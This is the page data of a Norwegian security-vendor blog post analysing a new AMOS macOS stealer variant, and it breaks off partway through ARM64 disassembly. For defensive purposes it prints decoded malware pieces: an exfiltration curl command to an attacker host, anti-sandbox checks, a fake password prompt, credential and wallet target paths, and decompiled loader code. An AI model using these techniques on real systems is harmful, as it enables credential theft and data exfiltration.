[{"data":1,"prerenderedAt":3345},["ShallowReactive",2],{"sc:header-data-no":3,"sc:footer-data-no":489,"post-no--posts-2026-04-10-incident-to-intelligence-e4a8aa31fde78":519,"authors_data":2771,"content-no-list-7b291c2dd91a4":3124,"authors_data:Pascal Asch":3342},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"no":13},{"title":14,"url":15,"alt":16},"Hjem","/no","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"no":21},{"title":22,"description":23},"Workplace","Microsoft 365-drevet for smarte, sikre og fleksible arbeidsplasser som samler moderne teknologi og identitetstjenester.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"no":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"no":34},{"title":35,"url":36},"Managed Intune","/no/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"no":40},{"title":41,"url":42},"Managed Entra","/no/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"no":46},{"title":47,"url":48},"Managed Workplace","/no/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"no":52},{"title":53,"url":54},"Consulting Services","/no/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"no":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"no":64},{"title":65,"url":66},"Microsoft Entra Suite","/no/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"no":70},{"title":71,"url":72},"Microsoft Intune","/no/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"no":76},{"title":77,"url":78},"Microsoft Windows","/no/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"no":82},{"title":83,"url":84},"Windows 365 Cloud PC","/no/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"no":88},{"title":89,"url":90},"Cloud Workplace Foundation","/no/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"no":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"no":100},{"title":101,"url":102},"Microsoft 365 Copilot","/no/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"no":106},{"title":107,"url":108},"Teams","/no/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"no":112},{"title":113,"url":114},"SharePoint & Power Platform","/no/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"no":118},{"title":119,"url":120},"Exchange Online","/no/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"no":124},{"title":125,"url":126},"Information Protection & Compliance","/no/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"no":130},{"title":131,"description":132},"Azure","Driv vekst med Azure: kutt cloud-kostnader, øk effektiviteten og skap innovasjon gjennom IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"no":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"no":142},{"title":143,"url":144},"Azure Managed Services","/no/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"no":148},{"title":149,"url":150},"Azure Consulting","/no/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"no":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"no":160},{"title":161,"url":162},"Planlegg cloud-en din","/no/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"no":166},{"title":167,"url":168},"Migrer til cloud","/no/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"no":172},{"title":173,"url":174},"Forny virksomheten din","/no/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"no":178},{"title":179,"url":180},"Tenk nytt om VMware-strategien din","/no/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"no":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"no":190},{"title":191,"url":192},"Azure Foundation","/no/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"no":196},{"title":197,"url":198},"Azure AI Foundation","/no/azure/azure-ai-foundation",{"name":86,"languages":200},{"no":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"no":205},{"title":206,"url":207},"Azure Data Foundation","/no/azure/azure-data-foundation",{"name":188,"languages":209},{"no":210},{"title":211,"url":212},"Azure Container Foundation","/no/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"no":216},{"title":217,"url":218},"Managed Dark Tenant","/no/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"no":222},{"title":223,"url":224},"Cloud Adoption Framework","/no/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"no":228},{"title":229,"url":230},"Cloud Competence Center","/no/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"no":234},{"title":235,"description":236,"emergency":237},"Security","Årvåkenhet i cloud med en prisbelønt 24/7 managed service, incident response og moderne beskyttelse av infrastrukturen din.",{"text":238,"href":239,"skin":240,"icon":241},"Under angrep?","/no/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"no":249},{"title":250,"url":251},"Managed Red Tenant","/no/security/managed-red-tenant",{"name":214,"languages":253},{"no":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"no":259},{"title":260,"url":261},"Sentinel Data Lake","/no/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"no":265},{"title":266,"url":267},"Security Consulting","/no/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"no":274},{"title":275,"url":276},"Cloud Security Operations Center","/no/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"no":280},{"title":281,"url":282},"Global Secure Access","/no/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"no":286},{"title":287,"url":288},"MyWorkID","/no/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"no":295},{"title":296,"url":297},"Preventive Services","/no/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"no":301},{"title":302,"url":303},"Data Security Service","/no/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"no":307},{"title":308,"url":309},"Security Copilot Agents","/no/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"no":313},{"title":314,"url":315},"Innføre NIS2","/no/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"no":319},{"title":320,"description":321},"Produkter","Innovative tilleggsprodukter for et fullstendig sikkert, 100 % cloud-native Microsoft-miljø som styrker samarbeid, nettverksautentisering og programvarehåndtering.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"no":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Cloud-basert programvaredistribusjon",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"no":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Sertifikatdistribusjon fra cloud",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"no":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Jobb med dine lokale office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"no":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrer dataene dine fra én server til en annen",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"no":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"no":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentisering for nettverket ditt",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"no":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Finn kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"no":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-overvåking i sanntid",{"name":396,"languages":397},"casestudies",{"no":398},{"title":399,"url":400,"description":401},"Case Studies","/no/casestudies","Pioner i cloud: din fremste Microsoft-partner for omfattende cloud-løsninger med en Blueprint-basert tilnærming og Infrastructure-as-Code-kompetanse.",{"name":403,"languages":404,"children":407},"company",{"no":405},{"title":406,"description":401},"Selskap",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"no":411},{"title":412},"Om oss",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"no":417},{"title":418,"url":419},"Fakta og tall","/no/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"no":423},{"title":424,"url":425},"Kontakt og lokasjoner","/no/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"no":429},{"title":430,"url":431},"glueckkanja Sveits","/no/company/switzerland",{"name":433,"languages":434},"austria",{"no":435},{"title":436,"url":437},"glueckkanja Østerrike","/no/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"no":441},{"title":442},"Karriere",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"no":447},{"title":448,"url":449},"Karriereoversikt","/no/career",{"name":451,"languages":452},"company-young-professionals",{"no":453},{"title":454,"url":455},"Young Professionals","/no/young-professionals",{"name":457,"languages":458},"company-jobs",{"no":459},{"title":460,"url":461},"Ledige stillinger","/no/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"no":465},{"title":466},"Siste nytt",[468,474],{"name":469,"languages":470},"company-blog",{"no":471},{"title":472,"url":473},"Blogg","/no/blog",{"name":469,"languages":475},{"no":476},{"title":477,"url":478},"Arrangementer","/no/events",[480],{"name":481,"languages":482},"career-meta",{"no":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"no":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksNo":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Personvern","/no/privacy",{"title":514,"url":515},"Juridisk informasjon","/no/imprint",{"title":517,"url":518},"Ingen cookies","/no/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":530,"eventid":494,"extension":2674,"hideInRecent":484,"layout":2675,"meta":2676,"moment":2680,"navigation":325,"path":2761,"seo":2762,"stem":2763,"tags":2764,"webcast":484,"__hash__":2770},"content_no/posts/2026-04-10-incident-to-intelligence.md","Anatomien til en ukjent AMOS Stealer: Fra alert til immunitet på timer",[523],"Pascal Asch",{"type":525,"value":526,"toc":2638},"minimal",[527,531,534,537,540,545,548,551,559,561,566,569,572,586,589,592,600,603,607,609,612,635,638,646,649,657,664,668,670,673,681,696,700,702,705,710,713,721,725,727,735,739,741,744,748,750,753,761,765,767,775,778,876,879,909,911,915,917,923,926,930,932,1016,1020,1022,1033,1040,1114,1125,1132,1136,1138,1203,1207,1209,1216,1218,1222,1224,1231,1257,1444,1447,1455,1466,1469,1477,1491,1504,1506,1510,1512,1530,1552,1742,1745,1753,1756,1759,1761,1765,1767,1770,1849,1852,1871,1950,1953,1955,1959,1961,1964,1971,2026,2029,2037,2040,2042,2046,2048,2055,2067,2115,2126,2165,2174,2189,2192,2194,2198,2200,2207,2210,2218,2221,2229,2243,2246,2248,2252,2254,2264,2268,2270,2288,2296,2310,2330,2334,2336,2339,2347,2350,2358,2372,2376,2378,2381,2389,2408,2413,2417,2419,2427,2433,2440,2444,2446,2454,2458,2460,2463,2471,2474,2478,2480,2488,2492,2494,2502,2506,2508,2516,2520,2522,2530,2547,2552,2554,2558,2560,2567,2584,2587,2600,2602,2606,2608,2611,2614,2617,2634],[528,529,530],"p",{},"Når en alert utløses i vårt SOC, begynner klokken å gå: ikke bare for den berørte kunden, men for alle organisasjoner under vår beskyttelse. Det farligste øyeblikket i dagens trusselbilde er Intelligence Gap, altså tidsvinduet mellom første gang en ny malware-variant tas i bruk og den dagen bransjen får vite om den.",[528,532,533],{},"For selvstendige security-team betyr dette gapet ekstrem sårbarhet: du venter på en vendor-oppdatering eller en signaturfeed som ennå ikke er skrevet. For våre kunder lukker vår internt utviklede Shared Threat Intelligence akkurat dette vinduet.",[528,535,536],{},"Dette innlegget er en teknisk gjennomgang av hvordan vi plukket fra hverandre en hittil udokumentert AMOS-variant (Atomic macOS Stealer), og hvordan ett enkelt kompromittert endpoint innen få timer ble til dekkende deteksjon og blokkering på tvers av alle kundemiljøene våre.",[538,539],"hr",{},[541,542,544],"h1",{"id":543},"hendelsen-et-ukjent-ioc-scenario","Hendelsen: Et ukjent IOC-scenario",[528,546,547],{},"{: .h3-font-size}",[528,549,550],{},"Alerten kom inn 12. mars 2026 klokken 06:25 lokal tid: et macOS-endpoint var kompromittert. Da vårt SOC begynte å analysere artefaktene, sto vi i en situasjon enhver threat analyst frykter: ingen kjente filhasher, ingen C2-IP-adresser, ingen meningsfulle atferdssignaturer i offentlige databaser.",[528,552,553,554,558],{},"Den fullstendige angrepsarkitekturen viste seg først i dybdeanalysen. Infeksjonen bygde på en 15,7 MB stor macOS Universal Binary (x86_64 og ARM64) lagt ned på ",[555,556,557],"code",{},"/private/tmp/helper",". Samplet var ikke direkte tilgjengelig på det kompromitterte systemet; teamet vårt måtte rekonstruere infeksjonskjeden og simulere den opprinnelige leveringsforespørselen for å hente binaryen manuelt fra angriperens infrastruktur.",[538,560],{},[562,563,565],"h2",{"id":564},"stage-1-sandbox-sjekker","Stage 1: Sandbox-sjekker",[528,567,568],{},"{: .h4-font-size}",[528,570,571],{},"Før selve stealeren ble kjørt på enheten, hadde en AppleScript-payload allerede kjørt. Hver eneste streng i den, hver filsti, hver shell-kommando og hver URL var kodet gjennom tre egendefinerte aritmetiske funksjoner:",[573,574,576],"div",{"style":575},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[577,578,583],"pre",{"className":579,"code":581,"language":582},[580],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n","text",[555,584,581],{"__ignoreMap":585},"",[528,587,588],{},"Ikke én streng ligger i klartekst. Det som ved første øyekast så ut som meningsløse heltalls-arrays, viste seg etter reversering av kodingsskjemaet å være et fullstendig og operativt rammeverk for datatyveri og eksfiltrering.",[528,590,591],{},"Vi dekodet hvert array i skriptet statisk. Resultatene var utvetydige:",[573,593,594],{"style":575},[577,595,598],{"className":596,"code":597,"language":582},[580],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F «file=@/tmp/out.zip»\n",[555,599,597],{"__ignoreMap":585},[528,601,602],{},"Nedlastings-URL-en imiterer bevisst en legitim n8n-workflow-automation-oppdatering, et verktøy som er utbredt blant utviklere og DevOps-ingeniører. Det er ingen tilfeldighet: kampanjen sikter seg inn på teknisk kompetente brukere, ikke vanlige sluttbrukere som installerer crackede programvarer.",[562,604,606],{"id":605},"anti-sandbox-sjekken","Anti-sandbox-sjekken",[528,608,568],{},[528,610,611],{},"Før nedlastingen kjørte skriptet en dedikert rutine for å oppdage VM og sandbox. Fra hendelsesartefaktene kunne vi i tillegg gjenopprette et frittstående anti-sandbox-skript:",[573,613,614],{"style":575},[577,615,619],{"className":616,"code":617,"language":618,"meta":585,"style":585},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[555,620,621,629],{"__ignoreMap":585},[622,623,626],"span",{"class":624,"line":625},"line",1,[622,627,628],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[622,630,632],{"class":624,"line":631},2,[622,633,634],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[528,636,637],{},"Resultatene sjekket skriptet så mot to lister. Den første lette etter virtualiseringsmarkører i minnedataene:",[573,639,640],{"style":575},[577,641,644],{"className":642,"code":643,"language":582},[580],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[555,645,643],{"__ignoreMap":585},[528,647,648],{},"Den andre sjekket maskinvareidentifikatorer mot en liste over kjente serienumre for analysemaskiner:",[573,650,651],{"style":575},[577,652,655],{"className":653,"code":654,"language":582},[580],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[555,656,654],{"__ignoreMap":585},[528,658,659,660,663],{},"Ved treff: ",[555,661,662],{},"exit 100",", fullstendig avbrudd. På en ekte MacBook Pro med Apple Silicon gikk alle sjekker igjennom uten en lyd, og kjøringen fortsatte. En sandbox-evasjonsteknikk på profesjonelt nivå, som ble utført før én eneste byte av binaryen var lastet ned.",[562,665,667],{"id":666},"enkelt-men-effektivt-den-falske-passordforespørselen","Enkelt, men effektivt: Den falske passordforespørselen",[528,669,568],{},[528,671,672],{},"Det dekodede skriptet inneholdt også dialogen for privilegieopptrapping via social engineering:",[573,674,675],{"style":575},[577,676,679],{"className":677,"code":678,"language":582},[580],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[555,680,678],{"__ignoreMap":585},[528,682,683,684,687,688,691,692,695],{},"Dialogen vises via et standard macOS-",[555,685,686],{},"display dialog","-kall med ",[555,689,690],{},"with hidden answer"," og kan visuelt ikke skilles fra en ekte macOS-autorisasjonsforespørsel. Passordet som ble tastet inn brukte skriptet til å kalle ",[555,693,694],{},"login -pf \u003Cusername>"," og heve prosessen til root-rettigheter, før binaryen i det hele tatt ble kjørt.",[562,697,699],{"id":698},"hva-skriptet-samlet-inn","Hva skriptet samlet inn",[528,701,568],{},[528,703,704],{},"Så snart binaryen var kjørt, fortsatte osascript sitt eget innsamlingsløp og hentet ut hver eneste kategori av sensitive systemdata. Vi dekodet alle innsamlingsstier og mål:",[706,707,709],"h3",{"id":708},"nettleserdata-alle-chromium-nettlesere-safari","Nettleserdata (alle Chromium-nettlesere + Safari):",[528,711,712],{},"{: .font-size-4}",[573,714,715],{"style":575},[577,716,719],{"className":717,"code":718,"language":582},[580],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[555,720,718],{"__ignoreMap":585},[706,722,724],{"id":723},"macos-keychain","macOS Keychain:",[528,726,712],{},[573,728,729],{"style":575},[577,730,733],{"className":731,"code":732,"language":582},[580],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[555,734,732],{"__ignoreMap":585},[706,736,738],{"id":737},"apple-notes","Apple Notes",[528,740,712],{},[528,742,743],{},"Fullstendig innhold eksportert som HTML med teller-header",[706,745,747],{"id":746},"lokale-filer","Lokale filer",[528,749,712],{},[528,751,752],{},"Skrivebord og dokumenter, opptil 30 MB, med fokus på:",[573,754,755],{"style":575},[577,756,759],{"className":757,"code":758,"language":582},[580],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[555,760,758],{"__ignoreMap":585},[706,762,764],{"id":763},"kryptovaluta-lommebøker","Kryptovaluta-lommebøker",[528,766,712],{},[528,768,769,770,774],{},"En hardkodet liste på ",[771,772,773],"strong",{},"mer enn 200 nettleser-extension-ID-er",", som dekker alle vanlige wallets, deriblant MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI og Exodus.",[528,776,777],{},"Etter innsamlingen ble alle data samlet i en tilfeldig navngitt midlertidig mappe og eksfiltrert:",[573,779,780],{"style":575},[577,781,785],{"className":782,"code":783,"language":784,"meta":585,"style":585},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[555,786,787,821,847,864],{"__ignoreMap":585},[622,788,789,793,797,800,803,807,811,815,818],{"class":624,"line":625},[622,790,792],{"class":791},"sScJk","ditto",[622,794,796],{"class":795},"sj4cs"," -c",[622,798,799],{"class":795}," -k",[622,801,802],{"class":795}," --sequesterRsrc",[622,804,806],{"class":805},"szBVR"," \u003C",[622,808,810],{"class":809},"sZZnC","staging_di",[622,812,814],{"class":813},"sVt8B","r",[622,816,817],{"class":805},">",[622,819,820],{"class":809}," /tmp/out.zip\n",[622,822,823,826,829,832,835,838,841,844],{"class":624,"line":631},[622,824,825],{"class":791},"curl",[622,827,828],{"class":795}," --connect-timeout",[622,830,831],{"class":795}," 120",[622,833,834],{"class":795}," --max-time",[622,836,837],{"class":795}," 300",[622,839,840],{"class":795}," -X",[622,842,843],{"class":809}," POST",[622,845,846],{"class":795}," \\\n",[622,848,850,853,856,859,862],{"class":624,"line":849},3,[622,851,852],{"class":795},"  -H",[622,854,855],{"class":809}," \"user: \u003Cuuid>\"",[622,857,858],{"class":795}," -H",[622,860,861],{"class":809}," \"BuildID: \u003Chw_profile>\"",[622,863,846],{"class":795},[622,865,867,870,873],{"class":624,"line":866},4,[622,868,869],{"class":795},"  -F",[622,871,872],{"class":809}," \"file=@/tmp/out.zip\"",[622,874,875],{"class":809}," laislivon[.]com/contact\n",[528,877,878],{},"Opprydningen fulgte umiddelbart:",[573,880,881],{"style":575},[577,882,884],{"className":782,"code":883,"language":784,"meta":585,"style":585},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[555,885,886,903],{"__ignoreMap":585},[622,887,888,891,894,896,898,900],{"class":624,"line":625},[622,889,890],{"class":791},"rm",[622,892,893],{"class":795}," -r",[622,895,806],{"class":805},[622,897,810],{"class":809},[622,899,814],{"class":813},[622,901,902],{"class":805},">\n",[622,904,905,907],{"class":624,"line":631},[622,906,890],{"class":791},[622,908,820],{"class":809},[538,910],{},[541,912,914],{"id":913},"stage-2-reverse-engineering-av-helper-binaryen","Stage 2: Reverse engineering av 'helper'-binaryen",[528,916,547],{},[528,918,919,922],{},[555,920,921],{},"helper","-binaryen er den delen der analysen virkelig går i dybden. Det dreier seg om et profesjonelt obfuskert macOS-executable som systematisk vanskeliggjør statisk analyse og som utgjorde den største reverse-engineering-innsatsen i denne undersøkelsen.",[528,924,925],{},"Hele analysen ble utført med Ghidra og vår egendefinerte ARM64-analyseflyt.",[562,927,929],{"id":928},"filegenskaper","Filegenskaper",[528,931,568],{},[573,933,935],{"style":934},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[936,937,939,940,939,956],"table",{"style":938},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[941,942,943,944,939],"thead",{},"\n    ",[945,946,947,948,947,953,943],"tr",{},"\n      ",[949,950,952],"th",{"style":951},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Egenskap",[949,954,955],{"style":951},"Verdi",[957,958,943,959,943,969,943,978,943,986,943,996,943,1006,939],"tbody",{},[945,960,947,961,947,966,943],{},[962,963,965],"td",{"style":964},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[962,967,968],{"style":964},"Mach-O Universal Binary",[945,970,947,971,947,975,943],{},[962,972,974],{"style":973},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[962,976,977],{"style":973},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[945,979,947,980,947,983,943],{},[962,981,982],{"style":964},"Size",[962,984,985],{"style":964},"15.7 MB",[945,987,947,988,947,991,943],{},[962,989,990],{"style":973},"MD5",[962,992,993],{"style":973},[555,994,995],{},"4599fdf2fa2099b30d8bbf76703dd634",[945,997,947,998,947,1001,943],{},[962,999,1000],{"style":964},"SHA-1",[962,1002,1003],{"style":964},[555,1004,1005],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[945,1007,947,1008,947,1011,943],{},[962,1009,1010],{"style":973},"SHA-256",[962,1012,1013],{"style":973},[555,1014,1015],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[562,1017,1019],{"id":1018},"det-begynner-før-main","Det begynner før main()",[528,1021,568],{},[528,1023,1024,1025,1028,1029,1032],{},"Det første vi la merke til i Ghidra: denne binaryen oppfører seg ikke som et vanlig executable. Selve inngangspunktet er ikke ",[555,1026,1027],{},"main()",", men en funksjon som er registrert i ",[555,1030,1031],{},"__mod_init_func",", en macOS-mekanisme som instruerer den dynamiske linkeren (dyld) om å kjøre bestemte funksjoner automatisk når binaryen lastes, før noe kjørbar kode i det hele tatt starter.",[528,1034,1035,1036,1039],{},"Init-funksjonen på ",[555,1037,1038],{},"0x10009f384"," er malwarens egentlige inngangspunkt. Her er Ghidra-dekompileringen:",[573,1041,1042],{"style":575},[1043,1044,1045,1049,1052,1055,1059,1060,1064,1065,1067,1068,1071,1072,1086],"code-block",{},[622,1046,1048],{"style":1047},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[1050,1051],"br",{},[622,1053,1054],{"style":1047},"// __mod_init_func registered — executes before main()",[622,1056,1058],{"style":1057},"color:#d73a49","void"," ",[622,1061,1063],{"style":1062},"color:#6f42c1","FUN_10009f384","(",[622,1066,1058],{"style":1057},")\n{\n  ",[622,1069,1070],{"style":1057},"int"," iVar1;\n",[528,1073,1074,1077,1078,1064,1081,1085],{},[622,1075,1076],{"style":1047},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[622,1079,1080],{"style":1062},"_usleep",[622,1082,1084],{"style":1083},"color:#005cc5","0x37e",");",[528,1087,1088,1091,1094,1095,1097,1098,1101,1102,1105,1106,1109,1110,1113],{},[622,1089,1090],{"style":1047},"// Indirect jump table — 14-state machine",[622,1092,1093],{"style":1047},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[622,1096,555],{"style":1057}," _)((",[622,1099,1100],{"style":1057},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[622,1103,1104],{"style":1083},"4"," + ",[622,1107,1108],{"style":1083},"0x10009f440","))(iVar1);\n",[622,1111,1112],{"style":1057},"return",";\n}",[528,1115,1116,1117,1120,1121,1124],{},"To ting stikker seg umiddelbart ut. For det første ",[555,1118,1119],{},"usleep","-kallet på 894 mikrosekunder ved oppstart: et anti-sandbox-tidssignal. Alvorligere er den indirekte hopptabellen på ",[555,1122,1123],{},"0x10009f43c",". Det er en beregnet branch der måladressen fastsettes i runtime fra en lookup-tabell. Statiske analyseverktøy klarer ikke å rekonstruere control-flow-grafen; Ghidra logget flere «unreachable block»-advarsler ved forsøk på å følge kjøringspaden. Det er nettopp intensjonen.",[528,1126,1127,1128,1131],{},"Hopptabellen driver en ",[771,1129,1130],{},"14-tilstands eksekveringsmaskin",". Hver tilstand utfører et enkelt diskret steg i dekrypterings- og eksekveringspipelinen. Tilstandstelleren oppdateres etter hvert steg, og maskinen kjører til alle tilstander er gjennomløpt.",[562,1133,1135],{"id":1134},"arm64-disassemblyen-av-state-dispatcheren","ARM64-disassemblyen av state-dispatcheren",[528,1137,568],{},[573,1139,1140],{"style":575},[577,1141,1145],{"className":1142,"code":1143,"language":1144,"meta":585,"style":585},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken 